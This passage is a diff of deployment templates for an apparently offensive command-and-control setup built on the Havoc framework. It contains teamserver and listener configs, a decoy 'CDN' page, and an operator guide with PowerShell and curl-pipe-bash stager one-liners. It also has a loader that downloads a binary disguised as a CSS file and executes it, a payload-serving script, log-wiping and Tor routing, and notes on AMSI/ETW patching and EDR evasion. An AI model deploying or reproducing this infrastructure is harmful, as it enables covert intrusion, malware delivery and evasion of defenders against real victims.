generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
|
||||
|
||||
# Create manifest
|
||||
create_manifest "$payload_info"
|
||||
|
||||
# Create reference
|
||||
create_reference "$payload_info"
|
||||
|
||||
echo "[+] Havoc payload generation complete!"
|
||||
@@ -0,0 +1,79 @@
|
||||
Teamserver {
|
||||
Host = "0.0.0.0"
|
||||
Port = {{ havoc_teamserver_port | default(40056) }}
|
||||
|
||||
Build {
|
||||
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
|
||||
Compiler86 = "/usr/bin/x86_64-w64-mingw32-gcc"
|
||||
Nasm = "/usr/bin/nasm"
|
||||
}
|
||||
}
|
||||
|
||||
Operators {
|
||||
user "{{ havoc_admin_user | default('admin') }}" {
|
||||
Password = "{{ havoc_admin_password | default(lookup('password', '/dev/null chars=ascii_letters,digits length=24')) }}"
|
||||
}
|
||||
{% if havoc_operators is defined %}
|
||||
{% for operator in havoc_operators %}
|
||||
user "{{ operator.name }}" {
|
||||
Password = "{{ operator.password }}"
|
||||
}
|
||||
{% endfor %}
|
||||
{% endif %}
|
||||
}
|
||||
|
||||
Listeners {
|
||||
Http {
|
||||
Name = "https"
|
||||
Hosts = [
|
||||
"{{ redirector_subdomain }}.{{ domain }}"
|
||||
]
|
||||
HostBind = "0.0.0.0"
|
||||
HostRotation = "round-robin"
|
||||
PortBind = {{ havoc_https_port | default(9443) }}
|
||||
PortConn = {{ havoc_https_port | default(9443) }}
|
||||
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
|
||||
Headers = [
|
||||
"Accept: */*",
|
||||
"Accept-Language: en-US,en;q=0.9"
|
||||
]
|
||||
Uris = [
|
||||
"/api/v2",
|
||||
"/content",
|
||||
"/static/css",
|
||||
"/wp-content/plugins"
|
||||
]
|
||||
Response {
|
||||
Headers = [
|
||||
"Content-Type: application/json",
|
||||
"Cache-Control: no-store, private",
|
||||
"X-Content-Type-Options: nosniff"
|
||||
]
|
||||
}
|
||||
Secure = true
|
||||
|
||||
Cert {
|
||||
Cert = "/etc/letsencrypt/live/{{ domain }}/fullchain.pem"
|
||||
Key = "/etc/letsencrypt/live/{{ domain }}/privkey.pem"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Demon {
|
||||
Sleep = {{ havoc_sleep | default(5) }}
|
||||
Jitter = {{ havoc_jitter | default(30) }}
|
||||
|
||||
Injection {
|
||||
{% if havoc_spawn64 is defined %}
|
||||
Spawn64 = "{{ havoc_spawn64 }}"
|
||||
{% else %}
|
||||
Spawn64 = "C:\\Windows\\System32\\dllhost.exe"
|
||||
{% endif %}
|
||||
|
||||
{% if havoc_spawn32 is defined %}
|
||||
Spawn32 = "{{ havoc_spawn32 }}"
|
||||
{% else %}
|
||||
Spawn32 = "C:\\Windows\\SysWOW64\\dllhost.exe"
|
||||
{% endif %}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
HAVOC C2 OPERATIONS GUIDE
|
||||
==========================
|
||||
|
||||
This guide provides information on using the Havoc C2 framework (dev branch)
|
||||
deployed on your infrastructure.
|
||||
|
||||
SERVER INFORMATION
|
||||
-----------------
|
||||
C2 Server IP: {{ c2_ip }}
|
||||
Redirector Domain: {{ redirector_domain }}
|
||||
Teamserver Port: {{ havoc_teamserver_port | default(40056) }}
|
||||
HTTP Listener Port: {{ havoc_http_port | default(8080) }}
|
||||
HTTPS Listener Port: {{ havoc_https_port | default(443) }}
|
||||
Admin User: {{ havoc_admin_user | default('admin') }}
|
||||
Admin Password: Stored in /root/Tools/Havoc/data/profiles/default.yaotl
|
||||
|
||||
CONNECTING TO THE TEAMSERVER
|
||||
---------------------------
|
||||
From your local machine:
|
||||
|
||||
1. Make sure Havoc client (dev branch) is installed:
|
||||
$ git clone -b dev https://github.com/HavocFramework/Havoc.git
|
||||
$ cd Havoc/Client
|
||||
$ mkdir build && cd build
|
||||
$ cmake -GNinja ..
|
||||
$ ninja
|
||||
|
||||
2. Connect to the Teamserver via GUI:
|
||||
- Host: {{ c2_ip }}
|
||||
- Port: {{ havoc_teamserver_port | default(40056) }}
|
||||
- User: {{ havoc_admin_user | default('admin') }}
|
||||
- Password: See /root/Tools/Havoc/data/profiles/default.yaotl
|
||||
|
||||
3. CLI Connection:
|
||||
$ ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password]
|
||||
|
||||
LISTENERS
|
||||
--------
|
||||
Two default listeners are configured:
|
||||
- HTTP on port {{ havoc_http_port | default(8080) }}
|
||||
- HTTPS on port {{ havoc_https_port | default(443) }} (through the redirector)
|
||||
|
||||
To view and manage listeners: Attack → Listeners in the Havoc client.
|
||||
|
||||
GENERATING PAYLOADS
|
||||
-----------------
|
||||
Pre-generated payloads are available in /root/Tools/Havoc/payloads/
|
||||
|
||||
To generate new payloads:
|
||||
1. Connect to the Teamserver
|
||||
2. Navigate to Attack → Payload
|
||||
3. Select the listener (HTTPS recommended)
|
||||
4. Choose architecture, format, and evasion options
|
||||
5. For enhanced evasion: Enable indirect syscalls, stack spoofing, and sleep mask
|
||||
|
||||
PAYLOAD DELIVERY
|
||||
--------------
|
||||
PowerShell one-liner:
|
||||
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
|
||||
|
||||
Linux one-liner:
|
||||
curl -s https://{{ redirector_domain }}/linux_stager.sh | bash
|
||||
|
||||
OPERATIONAL SECURITY
|
||||
------------------
|
||||
- All connections are routed through the redirector
|
||||
- Payload customization includes:
|
||||
* Sleep time: {{ havoc_sleep | default(5) }} seconds with {{ havoc_jitter | default(30) }}% jitter
|
||||
* EDR unhooking techniques
|
||||
* AMSI/ETW patching
|
||||
* Indirect syscalls
|
||||
* Sleep masking with technique: {{ havoc_sleep_mask_technique | default(0) }}
|
||||
|
||||
ADVANCED FEATURES (DEV BRANCH)
|
||||
----------------------------
|
||||
- Enhanced memory scanner evasion
|
||||
- PPID spoofing capabilities
|
||||
- Reflective DLL loading improvements
|
||||
- EDR hook detection and avoidance
|
||||
- Process token manipulation
|
||||
- Registry persistence options
|
||||
|
||||
POST-EXPLOITATION
|
||||
---------------
|
||||
For post-exploitation, Havoc offers:
|
||||
|
||||
1. BOF (Beacon Object Files) support
|
||||
2. Integrated command & control modules
|
||||
3. File system operations
|
||||
4. Process injection & manipulation
|
||||
5. Credential gathering capabilities
|
||||
|
||||
SERVER MANAGEMENT
|
||||
---------------
|
||||
- Havoc Teamserver service: systemctl status havoc
|
||||
- Service configuration: /etc/systemd/system/havoc.service
|
||||
- Configuration profiles: /root/Tools/Havoc/data/profiles/
|
||||
|
||||
TROUBLESHOOTING
|
||||
--------------
|
||||
1. Agent connection issues:
|
||||
- Verify DNS for {{ redirector_domain }} points to your redirector
|
||||
- Check nginx configuration on the redirector
|
||||
- Confirm ports {{ havoc_http_port | default(8080) }} and {{ havoc_https_port | default(443) }} are open
|
||||
|
||||
2. Teamserver issues:
|
||||
- Check service: systemctl status havoc
|
||||
- View logs: journalctl -u havoc
|
||||
- Restart if needed: systemctl restart havoc
|
||||
|
||||
3. Use Havoc client CLI debugging:
|
||||
./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password] --debug
|
||||
@@ -0,0 +1,122 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>{{ redirector_subdomain }} - Content Delivery Network</title>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background-color: #f4f4f4;
|
||||
color: #333;
|
||||
}
|
||||
header {
|
||||
background-color: #2c3e50;
|
||||
color: white;
|
||||
padding: 1em;
|
||||
text-align: center;
|
||||
}
|
||||
.container {
|
||||
width: 80%;
|
||||
margin: 0 auto;
|
||||
padding: 2em;
|
||||
}
|
||||
.card {
|
||||
background-color: white;
|
||||
border-radius: 5px;
|
||||
padding: 1.5em;
|
||||
margin-bottom: 1.5em;
|
||||
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
|
||||
}
|
||||
.feature {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
margin-bottom: 1em;
|
||||
}
|
||||
.feature-icon {
|
||||
background-color: #3498db;
|
||||
color: white;
|
||||
border-radius: 50%;
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
margin-right: 1em;
|
||||
font-weight: bold;
|
||||
}
|
||||
footer {
|
||||
background-color: #2c3e50;
|
||||
color: white;
|
||||
text-align: center;
|
||||
padding: 1em;
|
||||
position: fixed;
|
||||
bottom: 0;
|
||||
width: 100%;
|
||||
}
|
||||
.btn {
|
||||
display: inline-block;
|
||||
background-color: #3498db;
|
||||
color: white;
|
||||
padding: 0.7em 1.5em;
|
||||
border-radius: 5px;
|
||||
text-decoration: none;
|
||||
font-weight: bold;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<header>
|
||||
<h1>{{ redirector_subdomain }}.{{ domain }}</h1>
|
||||
<p>Enterprise Content Delivery Network</p>
|
||||
</header>
|
||||
|
||||
<div class="container">
|
||||
<div class="card">
|
||||
<h2>Welcome to Our CDN</h2>
|
||||
<p>This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications. Our CDN provides fast, reliable, and secure content distribution across our global network.</p>
|
||||
<p><em>This is a private service. Unauthorized access is prohibited.</em></p>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<h2>Our Features</h2>
|
||||
|
||||
<div class="feature">
|
||||
<div class="feature-icon">1</div>
|
||||
<div>
|
||||
<h3>Global Distribution</h3>
|
||||
<p>Content cached and distributed across multiple geographic locations for minimum latency.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="feature">
|
||||
<div class="feature-icon">2</div>
|
||||
<div>
|
||||
<h3>DDoS Protection</h3>
|
||||
<p>Enterprise-grade protection against distributed denial of service attacks.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="feature">
|
||||
<div class="feature-icon">3</div>
|
||||
<div>
|
||||
<h3>Asset Optimization</h3>
|
||||
<p>Automatic compression and format optimization for images, scripts, and styles.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="card" style="text-align: center;">
|
||||
<h2>Need Access?</h2>
|
||||
<p>If you're a client requiring access to our CDN services, please contact your account representative.</p>
|
||||
<a href="#" class="btn">Contact Sales</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<footer>
|
||||
<p>© 2025 {{ domain }} CDN Services. All rights reserved.</p>
|
||||
</footer>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"vpc_id": "{{ infra_state.vpc_id }}",
|
||||
"subnet_id": "{{ infra_state.subnet_id }}",
|
||||
"security_group_id": "{{ infra_state.security_group_id }}",
|
||||
"region": "{{ infra_state.region }}"
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#!/bin/bash
|
||||
# Loader script for Linux beacon
|
||||
curl -s https://REDIRECTOR_PLACEHOLDER/static/css/linux.css -H "Accept-Language: en-US,en;q=0.9" -o /tmp/linux_update
|
||||
chmod +x /tmp/linux_update
|
||||
/tmp/linux_update &
|
||||
@@ -0,0 +1,16 @@
|
||||
{
|
||||
"windows_exe": "WINDOWS_EXE",
|
||||
"windows_dll": "WINDOWS_DLL",
|
||||
"linux_binary": "LINUX_BINARY",
|
||||
"macos_binary": "MACOS_BINARY",
|
||||
"windows_stager": "WINDOWS_STAGER",
|
||||
"win_profile": "WIN_PROFILE",
|
||||
"dll_profile": "DLL_PROFILE",
|
||||
"linux_profile": "LINUX_PROFILE",
|
||||
"mac_profile": "MAC_PROFILE",
|
||||
"stager_profile": "STAGER_PROFILE",
|
||||
"redirector_host": "REDIRECTOR_HOST",
|
||||
"redirector_port": "REDIRECTOR_PORT",
|
||||
"c2_host": "C2_HOST",
|
||||
"generated_date": "GENERATED_DATE"
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
Welcome to your secure FlokiNET C2 Server!
|
||||
|
||||
╔═══════════════════════════════════════════════╗
|
||||
║ OPERATIONAL SECURITY ║
|
||||
║ ║
|
||||
║ This server has enhanced security features ║
|
||||
║ including hardened SSH, Tor routing, and ║
|
||||
║ zero-logs configuration. ║
|
||||
╚═══════════════════════════════════════════════╝
|
||||
|
||||
The following tools and utilities have been installed:
|
||||
|
||||
Apt-Installed Tools:
|
||||
--------------------
|
||||
- git, wget, curl, unzip
|
||||
- python3-pip, python3-venv, pipx
|
||||
- tmux, nmap, tcpdump, hydra, john, hashcat
|
||||
- sqlmap, gobuster, dirb, enum4linux, dnsenum, seclists, responder
|
||||
- golang, proxychains, tor, crackmapexec, jq, unzip
|
||||
- postfix, certbot, opendkim, opendkim-tools
|
||||
|
||||
Pipx-Installed Tools:
|
||||
---------------------
|
||||
- NetExec: git+https://github.com/Pennyw0rth/NetExec
|
||||
- TREVORspray: git+https://github.com/blacklanternsecurity/TREVORspray
|
||||
- impacket: (various network protocols and service tools)
|
||||
|
||||
Custom Tools Installed in ~/Tools:
|
||||
----------------------------------
|
||||
- SharpCollection: ~/Tools/SharpCollection
|
||||
- Kerbrute: ~/Tools/Kerbrute
|
||||
- PEASS-ng: ~/Tools/PEASS-ng
|
||||
- MailSniper: ~/Tools/MailSniper
|
||||
- Inveigh: ~/Tools/Inveigh
|
||||
- Gophish: ~/Tools/gophish (unzipped here)
|
||||
|
||||
Other Installed C2 Frameworks:
|
||||
------------------------------
|
||||
- Metasploit Framework: system installed (run 'msfconsole')
|
||||
- Havoc C2: installed in /root/Tools/Havoc
|
||||
|
||||
Security Scripts in /root/Tools/:
|
||||
-----------------------------
|
||||
- clean-logs.sh: Securely clears all logs on the system
|
||||
- secure-exit.sh: Perform secure wipe for termination
|
||||
- serve-beacons.sh: Hosts generated implants for delivery
|
||||
|
||||
Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations.
|
||||
|
||||
Once your DNS record points to this server’s public IP, you can obtain a Let’s Encrypt certificate by running:
|
||||
|
||||
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }}
|
||||
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d mail.{{ domain }}
|
||||
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d tracker.{{ domain }}
|
||||
systemctl start nginx.service
|
||||
|
||||
Remember to ensure your DNS is set correctly before running the above command.
|
||||
|
||||
**IMPORTANT:**
|
||||
|
||||
To route traffic through Tor for additional anonymity, prefix commands with 'proxychains':
|
||||
proxychains curl ifconfig.me
|
||||
|
||||
Don't forget to set up a DMARC record for your domain. Update your DNS provider's dashboard to add a TXT record named `_dmarc` with a suitable DMARC policy (e.g., `v=DMARC1; p=reject; rua=mailto:admin@{{ domain }}; ruf=mailto:admin@{{ domain }}; pct=100`). This ensures better email deliverability and security for your domain.
|
||||
@@ -0,0 +1,48 @@
|
||||
Welcome to your new C2 Server!
|
||||
|
||||
The following tools and utilities have been installed:
|
||||
|
||||
Apt-Installed Tools:
|
||||
--------------------
|
||||
- git, wget, curl, unzip
|
||||
- python3-pip, python3-venv, pipx
|
||||
- tmux, nmap, tcpdump, hydra, john, hashcat
|
||||
- sqlmap, gobuster, dirb, enum4linux, dnsenum, seclists, responder
|
||||
- golang, proxychains, tor, crackmapexec, jq, unzip
|
||||
- postfix, certbot, opendkim, opendkim-tools
|
||||
|
||||
Pipx-Installed Tools:
|
||||
---------------------
|
||||
- NetExec: git+https://github.com/Pennyw0rth/NetExec
|
||||
- TREVORspray: git+https://github.com/blacklanternsecurity/TREVORspray
|
||||
- impacket: (various network protocols and service tools)
|
||||
|
||||
Custom Tools Installed in ~/Tools:
|
||||
----------------------------------
|
||||
- SharpCollection: ~/Tools/SharpCollection
|
||||
- Kerbrute: ~/Tools/Kerbrute
|
||||
- PEASS-ng: ~/Tools/PEASS-ng
|
||||
- MailSniper: ~/Tools/MailSniper
|
||||
- Inveigh: ~/Tools/Inveigh
|
||||
- Gophish: ~/Tools/gophish (unzipped here)
|
||||
|
||||
Other Installed C2 Frameworks:
|
||||
------------------------------
|
||||
- Metasploit Framework: system installed (run 'msfconsole')
|
||||
- Havoc C2: installed in /root/Tools/Havoc
|
||||
|
||||
Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations.
|
||||
|
||||
Once your DNS record points to this server’s public IP, you can obtain a Let’s Encrypt certificate by running:
|
||||
|
||||
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }}
|
||||
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d mail.{{ domain }}
|
||||
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d tracker.{{ domain }}
|
||||
systemctl start nginx.service
|
||||
|
||||
Remember to ensure your DNS is set correctly before running the above command.
|
||||
|
||||
**IMPORTANT:**
|
||||
|
||||
Don’t forget to set up a DMARC record for your domain. Update your DNS provider’s dashboard (e.g., GoDaddy) to add a TXT record named `_dmarc` with a suitable DMARC policy (e.g., `v=DMARC1; p=reject; rua=mailto:admin@{{ domain }}; ruf=mailto:admin@{{ domain }}; pct=100`). This ensures better email deliverability and security for your domain.
|
||||
|
||||
@@ -0,0 +1,16 @@
|
||||
================================================================
|
||||
C2itall Redirector Post-Installation Instructions
|
||||
================================================================
|
||||
|
||||
To complete your setup with SSL certificates, run:
|
||||
/root/Tools/post_install_redirector.sh
|
||||
|
||||
This script will guide you through:
|
||||
- Setting up Let's Encrypt certificates
|
||||
- Starting required services
|
||||
- Updating NGINX configuration
|
||||
|
||||
For enhanced OPSEC, you can also randomize ports:
|
||||
/root/Tools/randomize_ports.sh
|
||||
|
||||
Run these after you've configured your DNS records to point to this server.
|
||||
@@ -0,0 +1,48 @@
|
||||
Welcome to your new C2 Server!
|
||||
|
||||
The following tools and utilities have been installed:
|
||||
|
||||
Apt-Installed Tools:
|
||||
--------------------
|
||||
- git, wget, curl, unzip
|
||||
- python3-pip, python3-venv, pipx
|
||||
- tmux, nmap, tcpdump, hydra, john, hashcat
|
||||
- sqlmap, gobuster, dirb, enum4linux, dnsenum, seclists, responder
|
||||
- golang, proxychains, tor, crackmapexec, jq, unzip
|
||||
- postfix, certbot, opendkim, opendkim-tools
|
||||
|
||||
Pipx-Installed Tools:
|
||||
---------------------
|
||||
- NetExec: git+https://github.com/Pennyw0rth/NetExec
|
||||
- TREVORspray: git+https://github.com/blacklanternsecurity/TREVORspray
|
||||
- impacket: (various network protocols and service tools)
|
||||
|
||||
Custom Tools Installed in ~/Tools:
|
||||
----------------------------------
|
||||
- SharpCollection: ~/Tools/SharpCollection
|
||||
- Kerbrute: ~/Tools/Kerbrute
|
||||
- PEASS-ng: ~/Tools/PEASS-ng
|
||||
- MailSniper: ~/Tools/MailSniper
|
||||
- Inveigh: ~/Tools/Inveigh
|
||||
- Gophish: ~/Tools/gophish (unzipped here)
|
||||
|
||||
Other Installed C2 Frameworks:
|
||||
------------------------------
|
||||
- Metasploit Framework: system installed (run 'msfconsole')
|
||||
- Havoc C2: installed in /root/Tools/Havoc
|
||||
|
||||
Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations.
|
||||
|
||||
Once your DNS record points to this server’s public IP, you can obtain a Let’s Encrypt certificate by running:
|
||||
|
||||
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }}
|
||||
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d mail.{{ domain }}
|
||||
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d tracker.{{ domain }}
|
||||
systemctl start nginx.service
|
||||
|
||||
Remember to ensure your DNS is set correctly before running the above command.
|
||||
|
||||
**IMPORTANT:**
|
||||
|
||||
Don’t forget to set up a DMARC record for your domain. Update your DNS provider’s dashboard (e.g., GoDaddy) to add a TXT record named `_dmarc` with a suitable DMARC policy (e.g., `v=DMARC1; p=reject; rua=mailto:admin@{{ domain }}; ruf=mailto:admin@{{ domain }}; pct=100`). This ensures better email deliverability and security for your domain.
|
||||
|
||||
@@ -0,0 +1,58 @@
|
||||
user www-data;
|
||||
worker_processes auto;
|
||||
pid /run/nginx.pid;
|
||||
include /etc/nginx/modules-enabled/*.conf;
|
||||
|
||||
events {
|
||||
worker_connections 1024;
|
||||
multi_accept on;
|
||||
}
|
||||
|
||||
http {
|
||||
# Basic Settings
|
||||
sendfile on;
|
||||
tcp_nopush on;
|
||||
tcp_nodelay on;
|
||||
keepalive_timeout 65;
|
||||
types_hash_max_size 2048;
|
||||
server_tokens off;
|
||||
|
||||
# MIME
|
||||
include /etc/nginx/mime.types;
|
||||
default_type application/octet-stream;
|
||||
|
||||
# Zero-logs configuration
|
||||
# This completely disables all access logs
|
||||
access_log off;
|
||||
# Minimal error logs - critical only
|
||||
error_log /dev/null crit;
|
||||
|
||||
# SSL Settings
|
||||
ssl_protocols TLSv1.2 TLSv1.3;
|
||||
ssl_prefer_server_ciphers on;
|
||||
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256';
|
||||
ssl_session_timeout 1d;
|
||||
ssl_session_cache shared:SSL:10m;
|
||||
ssl_session_tickets off;
|
||||
|
||||
# Headers to confuse fingerprinting
|
||||
# Microsoft-IIS/8.5 server header to throw off analysis
|
||||
add_header Server "Microsoft-IIS/8.5";
|
||||
server_name_in_redirect off;
|
||||
|
||||
# OPSEC: Hide proxy headers
|
||||
proxy_hide_header X-Powered-By;
|
||||
proxy_hide_header X-AspNet-Version;
|
||||
proxy_hide_header X-Runtime;
|
||||
|
||||
# IP Rotation and proxying
|
||||
real_ip_header X-Forwarded-For;
|
||||
set_real_ip_from 127.0.0.1;
|
||||
|
||||
# Gzip Settings
|
||||
gzip off; # Disabled to avoid BREACH attack
|
||||
|
||||
# Virtual Host Configs
|
||||
include /etc/nginx/conf.d/*.conf;
|
||||
include /etc/nginx/sites-enabled/*;
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
# FlokiNET/templates/proxychains.conf.j2
|
||||
# ProxyChains configuration for C2 server
|
||||
# Routes traffic through Tor for anonymity
|
||||
|
||||
# Dynamic chain - Each connection through the proxy list
|
||||
# Uses chained proxies in the order they appear in the list
|
||||
dynamic_chain
|
||||
|
||||
# Proxy DNS requests - no leak for DNS data
|
||||
proxy_dns
|
||||
|
||||
# Randomize the order of the proxies on each start
|
||||
# random_chain
|
||||
|
||||
# Set the type of chain (dynamic, strict, random)
|
||||
# strict_chain
|
||||
# random_chain
|
||||
|
||||
# Quiet mode (less console output)
|
||||
quiet_mode
|
||||
|
||||
# ProxyList format:
|
||||
# type host port [user pass]
|
||||
# (values separated by 'tab' or 'blank')
|
||||
[ProxyList]
|
||||
# add proxy here ...
|
||||
# socks5 127.0.0.1 1080
|
||||
socks5 127.0.0.1 9050
|
||||
|
||||
# FlokiNET/templates/iptables-rules.j2
|
||||
# Hardened iptables rules for FlokiNET C2 server
|
||||
# Applied at system startup
|
||||
|
||||
*filter
|
||||
:INPUT DROP [0:0]
|
||||
:FORWARD DROP [0:0]
|
||||
:OUTPUT ACCEPT [0:0]
|
||||
|
||||
# Allow established and related connections
|
||||
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
|
||||
|
||||
# Allow loopback
|
||||
-A INPUT -i lo -j ACCEPT
|
||||
|
||||
# Allow SSH
|
||||
-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ ssh_port | default(22) }} -j ACCEPT
|
||||
|
||||
# Allow HTTP/HTTPS
|
||||
-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
|
||||
-A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
|
||||
|
||||
# Allow Havoc C2 ports
|
||||
-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ havoc_http_port | default(8080) }} -j ACCEPT
|
||||
-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ havoc_https_port | default(443) }} -j ACCEPT
|
||||
-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ havoc_teamserver_port | default(40056) }} -j ACCEPT
|
||||
|
||||
# Allow shell handler port
|
||||
{% if shell_handler_port is defined %}
|
||||
-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ shell_handler_port }} -j ACCEPT
|
||||
{% endif %}
|
||||
|
||||
# Block all other incoming traffic
|
||||
-A INPUT -j DROP
|
||||
|
||||
# Allow all outbound traffic by default
|
||||
-A OUTPUT -j ACCEPT
|
||||
|
||||
COMMIT
|
||||
@@ -0,0 +1,17 @@
|
||||
C2 Server Details:
|
||||
- C2 IP: C2_HOST
|
||||
- Redirector Domain: REDIRECTOR_HOST
|
||||
|
||||
Beacons Generated (GENERATED_DATE):
|
||||
- Windows EXE: WINDOWS_EXE (Profile: WIN_PROFILE)
|
||||
- Windows DLL: WINDOWS_DLL (Profile: DLL_PROFILE)
|
||||
- Linux Binary: LINUX_BINARY (Profile: LINUX_PROFILE)
|
||||
- macOS Binary: MACOS_BINARY (Profile: MAC_PROFILE)
|
||||
- Windows Stager: staged/WINDOWS_STAGER (Profile: STAGER_PROFILE)
|
||||
|
||||
Usage:
|
||||
1. Ensure your redirector is properly configured to forward requests to the C2 server
|
||||
2. Update DNS for REDIRECTOR_HOST to point to your redirector IP
|
||||
3. Test connectivity before deployment in target environment
|
||||
|
||||
IMPORTANT: These beacons will connect to REDIRECTOR_HOST on port REDIRECTOR_PORT
|
||||
@@ -0,0 +1,18 @@
|
||||
# FlokiNET/templates/resolv.conf.j2
|
||||
# Secure DNS configuration
|
||||
# Uses privacy-respecting DNS servers
|
||||
|
||||
nameserver 9.9.9.9
|
||||
nameserver 1.1.1.1
|
||||
options edns0 single-request-reopen
|
||||
options timeout:1
|
||||
options attempts:2
|
||||
|
||||
# FlokiNET/templates/dnscrypt.conf.j2
|
||||
[Resolve]
|
||||
DNS=9.9.9.9 1.1.1.1
|
||||
FallbackDNS=8.8.8.8 8.8.4.4
|
||||
DNSSEC=yes
|
||||
DNSOverTLS=yes
|
||||
Cache=yes
|
||||
DNSStubListener=yes
|
||||
@@ -0,0 +1,135 @@
|
||||
#!/bin/bash
|
||||
# Script to serve Havoc C2 payloads generated by generate_havoc_payloads.sh
|
||||
|
||||
# Configuration
|
||||
PAYLOADS_DIR="/root/Tools/Havoc/payloads"
|
||||
C2_HOST="{{ ansible_host }}"
|
||||
# Use templated variable with fallback - allow override from config
|
||||
LISTEN_PORT="{{ havoc_payload_port | default(8443) }}"
|
||||
|
||||
# Check if manifest file exists (created by generate_havoc_payloads.sh)
|
||||
if [ -f "$PAYLOADS_DIR/manifest.json" ]; then
|
||||
echo "[+] Found payload manifest file - using Havoc payloads generated previously"
|
||||
# Extract payload paths from manifest
|
||||
WIN_EXE=$(jq -r '.windows_exe' "$PAYLOADS_DIR/manifest.json")
|
||||
WIN_DLL=$(jq -r '.windows_dll' "$PAYLOADS_DIR/manifest.json")
|
||||
LINUX_BIN=$(jq -r '.linux_binary' "$PAYLOADS_DIR/manifest.json")
|
||||
|
||||
# Print payload info
|
||||
echo "[+] Using these Havoc payloads:"
|
||||
echo " - Windows EXE: $WIN_EXE"
|
||||
echo " - Windows DLL: $WIN_DLL"
|
||||
echo " - Linux Binary: $LINUX_BIN"
|
||||
else
|
||||
echo "[!] No manifest file found. Please run generate_havoc_payloads.sh first."
|
||||
echo "[!] Will search for payloads in $PAYLOADS_DIR..."
|
||||
|
||||
# Try to find payloads directly
|
||||
WIN_EXE=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.exe" | head -n 1)
|
||||
WIN_DLL=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.dll" | head -n 1)
|
||||
LINUX_BIN=$(find "$PAYLOADS_DIR/linux" -maxdepth 1 -type f -executable -not -path "*/\.*" | head -n 1)
|
||||
|
||||
if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
|
||||
echo "[!] No Havoc payloads found. Please run generate_havoc_payloads.sh first."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Extract just the filenames
|
||||
WIN_EXE=$(basename "$WIN_EXE")
|
||||
WIN_DLL=$(basename "$WIN_DLL")
|
||||
LINUX_BIN=$(basename "$LINUX_BIN")
|
||||
fi
|
||||
|
||||
# Create temporary directory for web server
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
mkdir -p $TEMP_DIR/content/windows
|
||||
mkdir -p $TEMP_DIR/content/linux
|
||||
mkdir -p $TEMP_DIR/scripts
|
||||
|
||||
# Copy payloads to web directory
|
||||
if [ -n "$WIN_EXE" ]; then
|
||||
cp "$PAYLOADS_DIR/windows/$WIN_EXE" $TEMP_DIR/content/windows/
|
||||
echo "[+] Serving Windows EXE: $WIN_EXE"
|
||||
fi
|
||||
|
||||
if [ -n "$WIN_DLL" ]; then
|
||||
